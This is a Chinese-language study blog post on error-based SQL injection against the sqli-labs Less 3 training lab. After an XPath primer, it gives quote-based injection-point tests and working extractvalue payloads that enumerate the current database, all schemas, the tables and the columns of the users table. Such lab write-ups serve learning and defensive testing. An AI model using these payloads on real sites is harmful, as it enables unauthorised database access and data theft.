sql注入練習1(XPath報錯)

文章爲自我記錄,相關原理還是得自己查呀

前置知識xpath

XPath 使用路徑表達式在 XML 文檔中選取節點。節點是通過沿着路徑或者 step 來選取的。

下面列出了最有用的路徑表達式:

表達式 描述
nodename 選取此節點的所有子節點。
/ 從根節點選取。
// 從匹配選擇的當前節點選擇文檔中的節點,而不考慮它們的位置。
. 選取當前節點。
選取當前節點的父節點。
@ 選取屬性。

實例
在下面的表格中,我們已列出了一些路徑表達式以及表達式的結果:

路徑表達式 結果
bookstore 選取 bookstore 元素的所有子節點。
/bookstore 選取根元素 bookstore。註釋:假如路徑起始於正斜槓( / ),則此路徑始終代表到某元素的絕對路徑!
bookstore/book 選取屬於 bookstore 的子元素的所有 book 元素。
//book 選取所有 book 子元素,而不管它們在文檔中的位置。
bookstore//book 選擇屬於 bookstore 元素的後代的所有 book 元素,而不管它們位於 bookstore 之下的什麼位置。
//@lang 選取名爲 lang 的所有屬性。

xpath通配符
XPath 通配符可用來選取未知的 XML 元素。

通配符 描述
* 匹配任何元素節點。
@* 匹配任何屬性節點。
node() 匹配任何類型的節點。

sqli-lab 3

具體流程還得見入門篇~~~
利用函數extractvalue,updatexml(替換查找xml文檔)
1.找注入點
基本就是靠’ 來判斷數字or字符, 1’ and 1=1 --+
1’ and 1=2 --+ 等語句找

2.進行注入
ps.爲了防止打錯,建議不要在地址欄中直接輸入,而是利用hackbar
爆當前庫名

?id=1') and extractvalue(1,concat(0x23,database()))--+

在這裏插入圖片描述
爆所有數據庫名

?id=1') and extractvalue(1,concat(0x23,(select group_concat(schema_name) from information_schema.schemata)))--+

在這裏插入圖片描述
爆全部表名

?id=1%27)%20and%20extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security' )))--+

在這裏插入圖片描述
爆指定表的所有字段—好像爆錯數據庫了,不過沒關係,都一樣了

?id=1%27)%20and%20extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_name='users')))--+

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章